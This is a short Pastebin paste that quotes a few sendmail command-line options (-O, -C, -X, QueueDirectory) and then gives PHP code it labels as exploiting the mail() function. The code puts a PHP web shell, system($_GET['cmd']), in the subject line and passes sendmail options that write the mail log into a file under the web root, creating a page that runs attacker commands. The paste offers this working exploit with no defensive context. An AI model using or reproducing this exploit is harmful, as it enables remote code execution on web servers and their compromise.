Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Some interesting parameters
- Quote
- -O option=value
- Set option option to the specified value. This form uses long names.
- -Cfile
- Use alternate configuration file. Sendmail gives up any enhanced (set-user-ID or set-group-ID) privileges if an alternate configuration file is specified.
- -X logfile
- Log all traffic in and out of mailers in the indicated log file. This should only be used as a last resort for debugging mailer bugs. It will log a lot of data very quickly.
- Some interesting options
- Quote
- QueueDirectory=queuedir
- Select the directory in which to queue messages.
- This is the code for exploiting the mail() function:
- $to = '[email protected]';
- $subject = '<?php system($_GET["cmd"]); ?>';
- $message = '';
- $headers = '';
- $options = '-OQueueDirectory=/tmp -X/var/www/html/rce.php';
- mail($to, $subject, $message, $headers, $options);
Advertisement
Add Comment
Please, Sign In to add comment